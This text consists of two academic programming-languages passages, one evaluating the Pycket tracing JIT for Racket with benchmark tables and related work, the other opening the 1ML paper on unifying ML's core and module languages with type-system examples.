in-system and, hence, does not include start-up; however, warm-up
was not separated, so all times include JIT compilation. We show
the arithmetic mean of all runs along with bootstrapped (Davison
and Hinkley 1997) confidence intervals for a 95 % confidence level.

Availability All of our benchmarks and infrastructure are available
at http://github.com/krono/pycket-bench.

6.2 Benchmarks
Larceny Cross-platform Benchmarks The benchmark suite con-
sists of the “CrossPlatform” benchmark suite from Larceny, com-
prising well-known Scheme benchmarks originally collected for
evaluating Gambit (about 27.7 KLOC in total). We increased iter-
ation counts until Pycket took approximately 5 seconds, to lower
jitter associated with fast-running benchmarks, and to ensure that
we measure peak performance as well as JIT warmup (which is in-
cluded in all measurements). Also, we moved all I/O out of the timed
loop, and omitted one benchmark (the slatex LATEX preprocessor)
where I/O was the primary feature measured.

The results are summarized in Figure 5. The runtime per bench-
mark of each system is normalized to Racket. The geometric mean
of all measurements is given in bars at the right of the figure. The
top of the chart cuts-off at 3 times the speed of Racket for space and
readability, but some of the benchmarks on both Pycket and Larceny
are between 3 and 4 times slower than Racket, and on two bench-
marks (pi and primes, which stress bignum performance) Larceny

6 https://github.com/smarr/ReBench
7 http://disnetdev.com/contracts.coffee/
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Figure 5. Scheme benchmarks, with runtimes normalized to
Racket. Racket is omitted from the figure for clarity. Shorter is bet-
ter. The geometric mean (including Racket) is shown at the bottom
of the figure.

Table 1. Execution Times (in ms) for the Chaperone Benchmarks.
Pycket* is Pycket without the call graph optimization

Pycket ± Pycket* ± Racket ± V8 ± PyPy ±
Bubble

direct 564 5 583 10 1384 4 336 0 593 1
chaperone 656 6 4763 31 6668 5
proxy 105891 2579 1153 8
unsafe 471 4 489 5 955 1
unsafe* 458 2 487 8 726 1

Church
direct 656 10 658 17 1243 6 2145 18 3263 14
chaperone 5280 53 7773 160 38497 66
contract 1097 29 2152 25 10126 142 295452 1905
proxy 53953 277 95391 848
wrap 3190 22 2950 28 4214 26 8731 45 59016 405

Struct
direct 114 1 119 3 527 0 377 0 127 0
chaperone 116 1 115 1 5664 68
proxy 26268 130 1168 38
unsafe 116 3 116 1 337 0
unsafe* 115 2 116 1 337 0

ODE
direct 2113 33 2622 31 5476 91
contract 2564 31 4702 36 12235 128

Binomial
direct 1371 19 2164 33 2931 24
contract 17563 112 17977 117 52827 507

is many times slower. Since first-class continuations are difficult
to implement in a mostly-C environment, two benchmarks which
focus on this feature (ctak and fibc) perform very poorly on Racket
and Bigloo, both of which implement continuations by copying the
C stack.

Pycket’s performance on individual benchmarks ranges from
approximately 3.5× slower to 520× faster than Racket; in 18 of 50
cases Pycket is the fastest implementation. On average, Pycket is
the fastest system, and 51 % faster than Racket.

Shootout Benchmarks The traditional Scheme benchmark suite
is useful for comparing across a variety of systems but often em-
ploy features and styles which are unidiomatic and less-optimized
in Racket. Therefore, we also consider Racket-specific benchmarks
written for the Computer Language Benchmarks Game (which are
1.9 KLOC in total).8 We also include variants with manual special-
ization removed to demonstrate that Pycket can achieve good perfor-
mance without manual specialization (600 LOC). The benchmarks
are all taken from the Racket source repository, version 6.1.1. We
omit two benchmarks, regexpdna and k-nucleotide, which require
regular-expression features Pycket (and the underlying RPython li-
brary) does not support, and three, chameonos, thread-ring and echo,
which require threading. We omit the fasta benchmark since it is
dominated by I/O time in both Racket and Pycket. We also modified
one benchmark to move I/O out of the main loop.

On average, Pycket is 53 % faster than Racket on these bench-
marks. Also, Pycket is faster on 26 of the 30 benchmarks, and is
nearly 6 times faster on numeric-intensive benchmarks such as ran-
dom, nsievebits, and partialsums.

Chaperone Benchmarks To measure the impact of our optimiza-
tions of contracts and proxies, we use the benchmarks created by
Strickland et al. (2012). We run all of the micro-benchmarks (244
LOC) from that paper, and two of the macro-benchmarks (1,438
LOC).9 The results are presented in table 1, with 95 % confidence
intervals. We show both Pycket’s performance in the standard config-
uration (first column) as well as the performance without callgraph-
based loop detection (second column).

8 http://shootout.alioth.debian.org/
9 All the other macro-benchmarks require either the FFI or the meta-
programming system at run-time, neither of which Pycket supports.
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Figure 6. Racket benchmarks, runtimes normalized to Racket, consisting of those manually specialized for Racket (left) and generic versions
with manual specialization removed (right). Lower is better.

The micro-benchmarks form the upper part of the table, with the
macro-benchmarks below. For each micro-benchmark, we include
representative implementations for V8 and PyPy. The Bubble bench-
mark is bubble-sort of a vector; Struct is structure access in a loop;
and Church is calculating 9 factorial using Church numerals. The
direct versions of all benchmarks omit proxying and contracts en-
tirely, providing a baseline for comparison. For Racket and Pycket,
the chaperone versions use simple wrappers which are merely indi-
rections, and the contract versions enforce invariants using Racket’s
contract library.

For V8, the proxy version uses JavaScript proxies (Van Cutsem
and Miller 2010) and the contract version uses the contracts.coffee
library (Disney et al. 2011), in both cases following the benchmarks
conducted by Strickland et al. (2012). For PyPy, we implemented
a simple proxy using Python’s runtime metaprogramming facilities.
The wrap version of the Church benchmark simply wraps each
function in an additional function.

Two additional benchmark versions are also included for Racket
and Pycket, labeled unsafe and unsafe*. The unsafe measurement
indicates that specialized operations which skip safety checks were
used in the program—in all cases, these can be justified by the other
dynamic checks remaining in the program. The unsafe* measure-
ment additionally assumes that operations are not passed instances
of Racket’s proxying mechanisms, an assumption that cannot usu-
ally be justified statically. The difference between these measure-
ments is a cost paid by all optimized programs for the existence of
proxies. In Pycket, this difference is much smaller than in Racket.

For the contract macro-benchmarks, we show results only for
Pycket and Racket, with contracts on and off. The two macro-
benchmarks are an ODE solver and a binomial heap, replaying a
trace from a computer vision application, a benchmark originally
developed for lazy contract checking (Findler et al. 2008). We show
only the “opt chap” contract configuration of the latter, running on
a trace from a picture of a koala, again following Strickland et al.
(2012).

The results show that Pycket is competitive with other JIT com-
pilers on contract micro-benchmarks, and that Pycket’s performance
on contracts and proxies is far superior both to Racket’s and to other
systems. In many cases, Pycket improves on other systems by fac-
tors of 2 to 100, reducing contract overhead to almost 0, including
in the ODE macro-benchmark. Furthermore, the callgraph optimiza-
tion is crucial to the performance of Pycket on contract-oriented
benchmarks. Finally, the performance of PyPy on proxied arrays in
the Bubble benchmark is noteworthy, suggesting both that tracing

JIT compilers may be particularly effective at optimizing proxies
and that Pycket’s implementation combined with Racket’s chaper-
one design provides additional benefits.

On the ODE benchmark, Pycket with the call graph provides
a 6× speedup over Racket, resulting in less than 15 % contract
overhead. On the binomial heap benchmark, Pycket again outper-
forms Racket by a factor of 2, though substantial contract overhead
remains, in all configurations. We conjecture the high contract over-
head generally is due to the large numbers of proxy wrappers gen-
erated by this benchmark—as many as 2,800 on a single object.
Racket’s developers plan to address this by reducing the number of
wrappers created in the contract system,10 which may allow Pycket
to remove even more of the contract overhead.

More generally, Pycket is often able to remove the overhead of
simple, type-like contracts entirely, as seen in the ODE and Bubble
benchmarks, but not where more levels of wrapping and higher-
order data is involved, as in Binomial and Church. Even in these
latter cases, Pycket’s performance is still an improvement both in
absolute time and in overhead compared with Racket. Reducing this
overhead further requires additional research.

Specialization Benchmarks To measure Pycket’s ability to elim-
inate the need for manual specialization, we constructed generic
versions of several of the Racket benchmarks, and compared Racket
and Pycket’s performance. In all cases, Pycket’s performance ad-
vantage over Racket improves. These results are presented in Fig-
ure 5. Pycket loses only 6 % of its performance when unspecialized,
whereas Racket loses 30 %.

6.3 Discussion
Our evaluation results support all of our hypotheses. Pycket is faster
than Racket across a broad range of benchmarks, and is competitive
with highly-optimizing AOT compilers. Furthermore, Pycket can
largely eliminate the need for manual specialization on types that
is common in high-performance Racket and Scheme programs.
Finally, call graph loop detection radically reduces the overhead of
contracts, eliminating it entirely in some cases. In short, our tracing
JIT is a success for Racket.

Several specific results of our empirical study deserve mention.
First, while Pycket is overall the fastest system on average, this
average masks a wide variation. Pycket is particularly fast on bench-
marks where the optimization techniques we describe are applica-
ble: programs that use generic but homogeneous data structures

10 Robby Findler, personal communication
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Figure 7. Boxplots of the runtime spent in the JIT as a fraction of
the total runtime. The horizontal lines correspond to the 25th, 50th,
and 75th percentile going from the bottom upward. The dots above
each plot are outliers.

(e.g. fft and string), programs that use continuations (e.g. ctak), and
programs that feature higher-order indirection (as in the contract
benchmarks). In some of these cases, such as floating-point arrays,
other techniques such as static specialization would produce sim-
ilar results, but as we have seen, contracts continue to be a hard
optimization problem in all systems we compared with.

There are some cases where Pycket is substantially slower than
all other systems, such as dynamic, peval, scheme and matrix.
These cases are almost exclusively recursive programs with data-
dependent control flow in the style of an interpreter over an AST.
The frequent branches in the inner loops of these programs lead to re-
peated exits from individual traces, defeating the optimizations that
our JIT performs. Such programs are a known weakness of tracing
JIT compilers, although we hope to improve Pycket’s performance
in this area in the future.

To get an understanding of the variation of the improvement of
the various Schemes over Racket we computed the 95% confidence
interval for the geometric means of the speedup over Racket. Those
means are: Larceny: 1.26×±0.33, Bigloo: 1.51×±0.33, Gambit:
1.38×±0.28, Pycket: 2.01×±0.77. Thus we can see that while
Pycket is the fastest system on average, it also has the widest
variation in performance.

Warmup Costs Another important source of slowness is JIT
warmup. Because Pycket is written in such a high-level style, the
traces are much longer than for bytecode interpreters, which taxes
the JIT optimizer. For a number of slow benchmarks, JIT opti-
mizations and code generation take up a substantive portion of the
benchmark runtime.

To understand the overhead that using a JIT instead of an AOT
compiler adds to the execution of the benchmarks we measured the
fraction of total benchmark execution time that is spent tracing, op-
timizing and producing machine code for each benchmark. Those
fractions are shown in Figure 7. The results show that for almost all
benchmarks the overhead of using a JIT is below 10 %. However,
there are several outliers where code generation takes more than
50 % of the runtime; we hope to address this in the future. Further-
more, this is not an issue for any program which runs longer than a
few seconds. Figure 7 shows the time spent tracing and optimizing,
but not the time spent interpreting code that is later JIT compiled
or spent constructing the call graph, giving an underestimate of the
total warmup time.

We plan to address warmup costs both by modifying interpreter
to be more low-level and by optimizing the RPython tracing infras-
tructure.

7. Related Work
As mentioned in the introduction, functional languages in general,
and Scheme in particular, have a long tradition of optimizing AOT
compilers. Rabbit, by Steele (1978), following on the initial design
of the language, demonstrated the possibilities of continuation-
passing style and of fast first-class functions. Subsequent systems
such as Gambit (Feeley 2014), Bigloo (Serrano and Weis 1995),
Larceny (Clinger and Hansen 1994), Stalin (Siskind 1999), and
Chez (Dybvig 2011) have pioneered a variety of techniques for
static analysis, optimization, and memory management, among
others. Most other Scheme implementations are AST or bytecode
interpreters. Racket is the only widely used system in the Scheme
family with a JIT compiler, and even that is less dynamic than many
modern JIT compilers and uses almost no runtime type feedback.

Many Lisp implementations, including Racket, provide means
for programmers to manually optimize code with specialized oper-
ations or type declarations. We support Racket’s type-specialized
vectors and specialized arithmetic operations, as well as unsafe op-
erations (e.g., eliding bounds checks). The results of our evaluation
show that manual optimizations are less necessary in Pycket.

Type specialization is leveraged heavily in dynamic language
interpreters to overcome the overhead of pointer tagging and boxing.
There are two methods for generating type specialized code in the
context of a JIT compiler: type inference and type feedback. Both
methods have potential drawbacks; Kedlaya et al. (2013) explored
the interaction between type feedback and type inference, using a
fast, up front type inference pass to reduce the subsequent costs of
type feedback. The performance impact of type information was
studied in the context of ActionScript (Chang et al. 2011). Firefox’s
Spidermonkey compiler also uses a combination of type inference
and type feedback to achieve specialization (Hackett and Guo 2012).

In contrast, Pycket solely makes use of type specialization, which
is a direct outcome of tracing. The RPython JIT has no access to
type information of the Racket program aside from the operations
recorded by the tracer during execution: a consequence of the
JIT operating at the meta-level. In terms of type specialization,
container strategies improve the effectiveness of type specialization
by exposing type information about the contents of homogeneous
containers to the tracer.

JIT compilation has been extensively studied in the context
of object-oriented, dynamically typed languages (Aycock 2003).
For Smalltalk-80, Deutsch and Schiffman (1984) developed a JIT
compiler from bytecode to native code. Chambers et al. (1989)
explored using type specialization and other optimizations in Self,
a closely-related language. Further research on Self applied more
aggressive type specialization (Chambers and Ungar 1991).

With the rise in popularity of Java, JIT compilation became a
mainstream enterprise, with a significant increase in the volume of
research. The Hotspot compiler (Paleczny et al. 2001) is represen-
tative of the Java JIT compilers. JIT compilation has also become
an important topic in the implementation of JavaScript (see for ex-
ample (Hölttä 2013)) and thus a core part of modern web browsers.
For strict functional languages other than Scheme, such as OCaml,
JIT compilers exist (Starynkevitch 2004; Meurer 2010), however,
the AOT compilers for these languages are faster.

Mitchell (1970) introduced the notion of tracing JIT compila-
tion, and Gal et al. (2006) used tracing in a Java JIT compiler. The
core idea of meta-tracing, which is to trace an interpreter running
a program rather than a program itself, was pioneered by Sullivan
et al. (2003) in DynamoRIO. Since then, Gal et al. (2009) devel-
oped a tracing JIT compiler for JavaScript, TraceMonkey. LuaJIT11

is a very successful tracing JIT compiler for Lua. Further work was
done by Bebenita et al. (2010) who created a tracing JIT compiler

11 http://luajit.org
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for Microsoft’s CIL and applied it to a JavaScript implementation
in C#. These existing tracing systems, as well as PyPy and other
RPython-based systems, differ from Pycket in several ways. First,
they have not been applied to functional languages, which presents
unique challenges such as first-class control, extensive use of clo-
sures, proper tail calls, and lack of explicit loops. Second, these
systems all operate on a lower-level bytecode than Pycket’s CEK
machine, placing less burden on the optimizer. Third, few AOT com-
pilers exist for these languages, making a head-to-head comparison
difficult or impossible.

Schilling (2013, 2012) developed a tracing JIT compiler for
Haskell based on LuaJIT called Lambdachine. Due to Haskell’s
lazy evaluation, the focus is quite different than ours. One goal of
Lambdachine is to achieve deforestation (Wadler 1988; Gill et al.
1993) by applying allocation-removal techniques to traces.

There were experiments with applying meta-tracing to a Haskell
interpreter written in RPython (Thomassen 2013). The interpreter
also follows a variant of a high-level semantics (Launchbury 1993)
of Core, the intermediate representation of the GHC compiler. While
the first results were promising, it supports a very small subset of
primitives leading to limited evaluation. It is unknown how well
meta-tracing scales for a realistic Haskell implementation.

8. Conclusion
Pycket is a young system—it has been under development for
little more than a year, yet it is competitive with the best existing
AOT Scheme compilers, particularly on safe, high-level, generic
code, while still supporting complex features such as first-class
continuations. Furthermore, Pycket is much faster than any other
system on the indirections produced by contracts, addressing a
widely noted performance problem, and making safe gradual typing
a possibility in more systems.

The implementation of Pycket provides two lessons for JITs
for functional languages. First, the issue of finding and exploiting
loops requires careful consideration—explicit looping constructs in
imperative languages make the tracer’s life easier. Second, once this
issue is addressed, conventional JIT optimizations such as strategies
are highly effective in the functional context.

Our success in obtaining high performance from the CEK ma-
chine suggests that other high-level abstract machines may be can-
didates for a similar approach. Often language implementations sac-
rifice the clarity of simple abstract machines for lower-level runtime
models—with a meta-tracing JIT such as RPython, the high-level
approach can perform well. More generally, Pycket demonstrates
the value of the RPython infrastructure (Marr et al. 2014): We have
built in one year and 13,500 LOC a compiler competitive with exist-
ing mature systems. We encourage other implementors to consider
if RPython can provide them with the same leverage.
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Abstract
ML is two languages in one: there is the core, with types and ex-
pressions, and there are modules, with signatures, structures and
functors. Modules form a separate, higher-order functional lan-
guage on top of the core. There are both practical and technical
reasons for this stratification; yet, it creates substantial duplication
in syntax and semantics, and it reduces expressiveness. For exam-
ple, selecting a module cannot be made a dynamic decision. Lan-
guage extensions allowing modules to be packaged up as first-class
values have been proposed and implemented in different variations.
However, they remedy expressiveness only to some extent, are syn-
tactically cumbersome, and do not alleviate redundancy.

We propose a redesign of ML in which modules are truly first-
class values, and core and module layer are unified into one lan-
guage. In this “1ML”, functions, functors, and even type construc-
tors are one and the same construct; likewise, no distinction is made
between structures, records, or tuples. Or viewed the other way
round, everything is just (“a mode of use of”) modules. Yet, 1ML
does not require dependent types, and its type structure is express-
ible in terms of plain System Fω , in a minor variation of our F-ing
modules approach. We introduce both an explicitly typed version
of 1ML, and an extension with Damas/Milner-style implicit quan-
tification. Type inference for this language is not complete, but, we
argue, not substantially worse than for Standard ML.

An alternative view is that 1ML is a user-friendly surface syntax
for System Fω that allows combining term and type abstraction in
a more compositional manner than the bare calculus.

Categories and Subject Descriptors D.3.1 [Programming Lan-
guages]: Formal Definitions and Theory; D.3.3 [Programming
Languages]: Language Constructs and Features—Modules; F.3.3
[Logics and Meanings of Programs]: Studies of Program Constructs—
Type structure

General Terms Languages, Design, Theory

Keywords ML modules, first-class modules, type systems, ab-
stract data types, existential types, System F, elaboration

1. Introduction
The ML family of languages is defined by two splendid innova-
tions: parametric polymorphism with Damas/Milner-style type in-

ference [18, 3], and an advanced module system based on concepts
from dependent type theory [17]. Although both have contributed
to the success of ML, they exist in almost entirely distinct parts
of the language. In particular, the convenience of type inference is
available only in ML’s so-called core language, whereas the mod-
ule language has more expressive types, but for the price of being
painfully verbose. Modules form a separate language layered on
top of the core. Effectively, ML is two languages in one.

This stratification makes sense from a historical perspective.
Modules were introduced for programming-in-the-large, when the
core language already existed. The dependent type machinery that
was the central innovation of the original module design was alien
to the core language, and could not have been integrated easily.

However, we have since discovered that dependent types are not
actually necessary to explain modules. In particular, Russo [26, 28]
demonstrated that module types can be readily expressed using
only System-F-style quantification. The F-ing modules approach
later showed that the entire ML module system can in fact be
understood as a form of syntactic sugar over System Fω [25].

Meanwhile, the second-class nature of modules has increasingly
been perceived as a practical limitation. The standard example
being that it is not possible to select modules at runtime:

module Table = if size > threshold then HashMap else TreeMap

A definition like this, where the choice of an implementation is
dependent on dynamics, is entirely natural in object-oriented lan-
guages. Yet, it is not expressible with ordinary ML modules. What
a shame!

1.1 Packaged Modules
It comes to no surprise, then, that various proposals have been
made (and implemented) that enrich ML modules with the ability
to package them up as first-class values [27, 22, 6, 25, 7]. Such
packaged modules address the most imminent needs, but they are
not to be confused with truly first-class modules. They require
explicit injection into and projection from first-class core values,
accompanied by heavy annotations. For example, in OCaml 4 the
above example would have to be written as follows:

module Table = (val (if size > threshold
then (module HashMap : MAP)
else (module TreeMap : MAP))) : MAP)

which, arguably, is neither natural nor pretty. Packaged modules
have limited expressiveness as well. In particular, type sharing with
a packaged module is only possible via a detour through core-level
polymorphism, such as in:

f : (module S with type t = ’a)→ (module S with type t = ’a)→ ’a

(where t is an abstract type in S). In contrast, with proper modules,
the same sharing could be expressed as

f : (X : S) → (S with type t = X.t) → X.t
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Because core-level polymorphism is first-order, this approach
cannot express type sharing between type constructors – a com-
plaint that has come up several times on the OCaml mailing list;
for example, if one were to abstract over a monad:

map : (module MONAD with type ’a t = ?) → (’a → ’b) → ? → ?

There is nothing that can be put in place of the ?’s to complete this
function signature. The programmer is forced to either use weaker
types (if possible at all), or drop the use of packaged modules and
lift the function (and potentially a lot of downstream code) to the
functor level – which not only is very inconvenient, it also severely
restricts the possible computational behaviour of such code. One
could imagine addressing this particular limitation by introducing
higher-kinded polymorphism into the ML core. But with such an
extension type inference would require higher-order unification and
hence become undecidable – unless accompanied by significant
restrictions that are likely to defeat this example (or others).

1.2 First-Class Modules
Can we overcome this situation and make modules more equal
citizens of the language? The answer from the literature has been:
no, because first-class modules make type-checking undecidable
and type inference infeasible.

The most relevant work is Harper & Lillibridge’s calculus
of translucent sums [9] (a precursor of later work on singleton
types [31]). It can be viewed as an idealised functional language
that allows types as components of (dependent) records, so that
they can express modules. In the type of such a record, individual
type members can occur as either transparent or opaque (hence,
translucent), which is the defining feature of ML module typing.

Harper & Lillibrige prove that type-checking this language is
undecidable. Their result applies to any language that has (a) con-
travariant functions, (b) both transparent and opaque types, and (c)
allows opaque types to be subtyped with arbitrary transparent types.
The latter feature usually manifests in a subtyping rule like

{D1[τ/t]} ≤ {D2[τ/t]}
{type t=τ ;D1} ≤ {type t;D2}

FORGET

which is, in some variation, at the heart of every definition of signa-
ture matching. In the premise the concrete type τ is substituted for
the abstract t. Obviously, this rule is not inductive. The substitution
can arbitrarily grow the types, and thus potentially require infinite
derivations. A concrete example triggering non-termination is the
following, adapted from Harper & Lillibridge’s paper [9]:

type T = {type A; f : A → ()}
type U = {type A; f : (T where type A = A) → ()}
type V = T where type A = U
g (X : V) = X : U (* V ≤ U ? *)

Checking V ≤ U would match type A with type A=U, substitut-
ing U for A accordingly, and then requires checking that the types
of f are in a subtyping relation – which contravariantly requires
checking that (T where type A = A)[U/A] ≤ A[U/A], but that
is the same as the V ≤ U we wanted to check in the first place.

In fewer words, signature matching is no longer decidable when
module types can be abstracted over, which is the case if module
types are simply collapsed into ordinary types. It also arises if
“abstract signatures” are added to the language, as in OCaml, where
the same divergent example can be constructed on the module type
level alone.

Some may consider decidability a rather theoretical concern.
However, there also is the – quite practical – issue that the introduc-
tion of signature matching into the core language makes ML-style
type inference impossible. Obviously, Milner’s algorithmW [18] is
far too weak to handle dependent types. Moreover, modules intro-
duce subtyping, which breaks unification as the basic algorithmic

tool for solving type constraints. And while inference algorithms
for subtyping exist, they have much less satisfactory properties than
our beloved Hindley/Milner sweet spot.

Worse, module types do not even form a lattice under subtyping:

f1 : {type t a; x : t int} → int
f2 : {type t a; x : int} → int
g = if condition then f1 else f2

There are at least two possible types for g:

g : {type t a = int; x : int} → int
g : {type t a = a; x : int} → int

Neither is more specific than the other, so no least upper bound
exists. Consequently, annotations are necessary to regain principal
types for constructs like conditionals, in order to restore any hope
for compositional type checking, let alone inference.

1.3 F-ing Modules
In our work on F-ing modules with Russo & Dreyer [25] we have
demonstrated that ML modules can be expressed and encoded
entirely in vanilla System F (or Fω , depending on the concrete core
language and the desired semantics for functors). Effectively, the F-
ing semantics defines a type-directed desugaring of module syntax
into System F types and terms, and inversely, interprets a stylised
subset of System F types as module signatures.

The core language that we assume in that paper is System F
(respectively, Fω) itself, leading to the seemingly paradoxical situ-
ation that the core language appears to have more expressive types
than the module language. That makes sense when considering that
the module translation rules manipulate the sublanguage of module
types in ways that would not generalise to arbitrary System F types.
In particular, the rules implicitly introduce and eliminate universal
and existential quantifiers, which is key to making modules a us-
able means of abstraction. But the process is guided by, and only
meaningful for, module syntax; likewise, the built-in subtyping re-
lation is only “complete” for the specific occurrences of quantifiers
in module types.

Nevertheless, the observation that modules are just sugar for
certain kinds of constructs that the core language can already ex-
press (even if less concisely), raises the question: what necessitates
modules to be second-class in that system?

1.4 1ML
The answer to that question is: very little! And the present paper is
motivated by exploring that answer.

In essence, the F-ing modules semantics reveals that the syntac-
tic stratification between ML core and module language is merely
a rather coarse means to enforce predicativity for module types:
it prevents abstract types themselves from being instantiated with
binders for abstract types. But this heavy syntactic restriction can
be replaced by a more surgical semantic restriction! It is enough
to employ a simple universe distinction between small and large
types (reminiscent of Harper & Mitchell’s XML [10]), and limit
the equivalent of the FORGET rule shown earlier to only allow small
types for subsitutition, which serves to exclude problematic quan-
tifiers.

That would settle decidability, but what about type inference?
Well, we can use the same distinction! A quick inspection of the
subtyping rules in the F-ing modules semantics reveals that they,
almost, degenerate to type equivalence when applied to small types
— the only exception being width subtyping on structures. If we
are willing to accept that inference is not going to be complete
for records (which it already isn’t in Standard ML), then a simple
restriction to inferring only small types is sufficient to make type
inference work almost as usual.
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In this spirit, this paper presents 1ML, an ML-dialect in which
modules are truly first-class values. The name is both short for “1st-
class module language” and a pun on the fact that it unifies core and
modules of ML into one language. Our contributions are as follows:

• We present a decidable type system for a language of first-class
modules that subsumes conventional second-class ML modules.
• We give an elaboration of this language into plain System Fω .
• We show how Damas/Milner-style type inference can be inte-

grated into such a language; it is incomplete, but only in ways
that are already present in existing ML implementations.
• We develop the basis for a practical design of an ML-like

language in which the distinction between core and modules
has been eliminated.

We see several benefits with this redesign: it produces a lan-
guage that is more expressive and concise, and at the same time,
more minimal and uniform. “Modules” become a natural means to
express all forms of (first-class) polymorphism, and can be freely
intermixed with “computational” code and data. Type inference
integrates in a rather seamless manner, reducing the need for ex-
plicit annotations to large types, module or not. Every program-
ming concept is derived from a small set of orthogonal constructs,
over which general and uniform syntactic sugar can be defined.

2. 1ML with Explicit Types
To separate concerns a little, we will start out by introducing
1MLex, a sublanguage of 1ML proper that is explicitly typed and
does not support any type inference. Its kernel syntax is given in
Figure 1. Let us take a little tour of 1MLex by way of examples.

Functional Core A major part of 1MLex consists of fairly con-
ventional functional language constructs. On the expression level,
as a representative for a base type, we have Booleans; in examples
that follow, we will often assume the presence of an integer type
and respective constructs as well. Then there are records, which
consist of a sequence of bindings. And of course, it wouldn’t be a
functional language without functions.

In a first approximation, these forms are reflected on the type
level as one would expect, except that for functions we allow
two forms of arrows, distinguishing pure function types (⇒) from
impure ones (→) (discussed later).

Like in the F-ing modules paper [25], most elimination forms in
the kernel syntax only allow variables as subexpressions. However,
the general expression forms are all definable as straightforward
syntactic sugar, as shown in the lower half of Figure 1. For example,

(fun (n : int) ⇒ n + n) 3

desugars into

let f = fun (n : int) ⇒ n + n; x = 3 in f x

and further into

{f = fun (n : int) ⇒ n + n; x = 3; body = f x}.body

This works because records actually behave like ML structures,
such that every bound identifier is in scope for later bindings –
which enables encoding let-expressions.

Also, notably, if-expressions require a type annotation in 1MLex.
As we will see, the type language subsumes module types, and as
discussed in Section 1.2 there wouldn’t generally be a unique least
upper bound otherwise. However, in Section 4 we show that this
annotation can usually be omitted in full 1ML.

Reified Types The core feature that makes 1MLex able to express
modules is the ability to embed types in a first-class manner: the ex-

pression type T reifies the type T as a value.1 Such an expression
has type type, and thereby can be abstracted over. For example,

id = fun (a : type) ⇒ fun (x : a) ⇒ x

defines a polymorphic identity function, similar to how it would
be written in dependent type theories. Note in particular that a
is a term variable, but it is used as a type in the annotation for
x. This is enabled by the “path” form E in the syntax of types,
which expresses the (implicit) projection of a type from a term,
provided this term has type type. Consequently, all variables are
term variables in 1ML, there is no separate notion of type variable.

More interestingly, a function can return types, too. Consider

pair = fun (a : type) ⇒ fun (b : type) ⇒ type {fst : a; snd : b}

which takes a type and returns a type, and effectively defines a type
constructor. Applied to a reified type it yields a reified type. Again,
the implicit projection from “paths” enables using this as a type:

second = fun (a : type)⇒ fun (b : type)⇒ fun (p : pair a b)⇒ p.snd

In this example, the whole of “pair a b” is a term of type type.
Figure 1 also defines a bit of syntactic sugar to make function

and type definitions look more like in traditional ML. For example,
the previous functions could equivalently be written as

id a (x : a) = x
type pair a b = {fst : a; snd : b}
second a b (p : pair a b) = p.snd

It may seem surprising that we can just reify types as first-class
values. But reified types (or “atomic type modules”) have been
common in module calculi for a long time [16, 6, 24, 25]. We are
merely making them available in the source language directly. For
the most part, this is just a notational simplification over what first-
class modules already offer: instead of having to define a spurious
module T = {type t = int} : {type t} and then refer to T.t, we
allow injecting types into modules (i.e., values) anonymously, with-
out wrapping them into a structure; thus t = (type int) : type,
which can be referred to as just t.

Translucency The type type allows classifying types abstractly:
given a value of type type, nothing is known about what type
it is. But for modular programming it is essential that types can
selectively be specified transparently, which enables expressing the
vital concept of type sharing [12].

As a simple example, consider these type aliases:

type size = int
type pair a b = {fst : a; snd : b}

According to the idea of translucency, the variables defined by these
definitions can be classified in one of two ways. Either opaquely:

size : type
pair : (a : type) ⇒ (b : type) ⇒ type

Or transparently:

size : (= type int)
pair : (a : type) ⇒ (b : type) ⇒ (= type {fst : a; snd : b})

The latter use a variant of singleton types [31, 6] to reveal the
definitions: a type of the form “=E” is inhabited only by values
that are “structurally equivalent” to E, in particular, with respect to
parts of type type. It allows the type system to infer, for example,
that the application pair size size is equivalent to the (reified) type

1 Ideally, “type T ” should be written just “T ”, like in dependently typed
systems. However, that would create various syntactic ambiguities, e.g.
for phrases like “{}”, which could only be avoided by moving to a more
artificial syntax for types themselves. Nevertheless, we at least allow writing
“E T ” for the application “E (typeT )” if T unambiguously is a type.
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(identifiers) X
(types) T ::= E | bool | {D} | (X:T )⇒→T | type | =E | T where (.X:T )
(declarations) D ::= X :T | include T |D;D | ε
(expressions) E ::= X | true | false | if X then E else E:T | {B} | E.X | fun (X:T )⇒E |XX | type T |X:>T
(bindings) B ::= X=E | include E | B;B | ε

(types)
let B in T := {B;X= type T}.X
T1
⇒→T2 := (X:T1)⇒→T2

T where (.X P=E) := T where (.X:P ⇒ (=E))
T where (type .X P=T ′) := T where (.X:P ⇒ (= type T ′))

(declarations)
local B inD := include (let B in {D})
X P :T := X :P ⇒T
X P=E := X :P ⇒ (=E)
typeX P := X :P ⇒ type
typeX P=T := X :P ⇒ (= type T )

where: (parameter) P ::= (X:T ) with abbreviation X := (X: type)

(expressions)
let B in E := {B;X=E}.X
if E1 then E2 else E3:T := letX=E1 in if X then E2 else E3:T
E1 E2 := letX1=E1; X2=E2 inX1 X2

E T := E (typeT ) (if T unambiguous)
E :T := (fun (X:T )⇒X)E
E :>T := letX=E inX :>T
funP ⇒ E := fun P ⇒E

(bindings)
local B in B′ := include (let B in {B′})
X P :T ′ :>T ′′=E := X = funP ⇒ E :T ′ :>T ′′

typeX P=T := X = funP ⇒ type T

(Identifiers X only occurring on the right-hand side are considered fresh)

Figure 1. 1MLex syntax and syntactic abbreviations

{fst : int; snd : int}. A type =E is a subtype of the type of E
itself, and consequently, transparent classifications define subtypes
of opaque ones, which is the crux of ML signature matching.

Translucent types usually occur as part of module type declara-
tions, where 1ML can abbreviate the above to the more familiar
type size
type pair a b

or, respectively, type size = int
type pair a b = {fst : a; snd : b}

i.e., as in ML, transparent declarations look just like definitions.
Singletons can be formed over arbitrary values. This gives the

ability to express module sharing and aliases. In the basic seman-
tics described in this paper, this is effectively a shorthand for shar-
ing all types contained in the module (including those defined in-
side transparent functors, see below). We leave the extension to full
value equivalence (including primitive types like Booleans), as in
our F-ing semantics for applicative functors [25], to future work.

Functors Returning to the 1ML grammar, the remaining con-
structs of the language are typical for ML modules, although they
are perhaps a bit more general than what is usually seen. Let us
explain them using an example that demonstrates that our language
can readily express “real” modules as well. Here is the (unavoid-
able, it seems) functor that defines a simple map ADT:

type EQ =
{

type t;
eq : t → t → bool
};
type MAP =
{

type key;
type map a;
empty a : map a;
add a : key → a → map a → map a;
lookup a : key → map a → opt a
};
Map (Key : EQ) :> MAP where (type .key = Key.t) =
{

type key = Key.t;
type map a = key → opt a;
empty a = fun (k : key) ⇒ none a;
lookup a (k : key) (m : map a) = m k;

add a (k : key) (v : a) (m : map a) =
fun (x : key) ⇒ if Key.eq x k then some a v else m x : opt a

}

The record type EQ amounts to a module signature, since it con-
tains an abstract type component t. It is referred to in the type of eq,
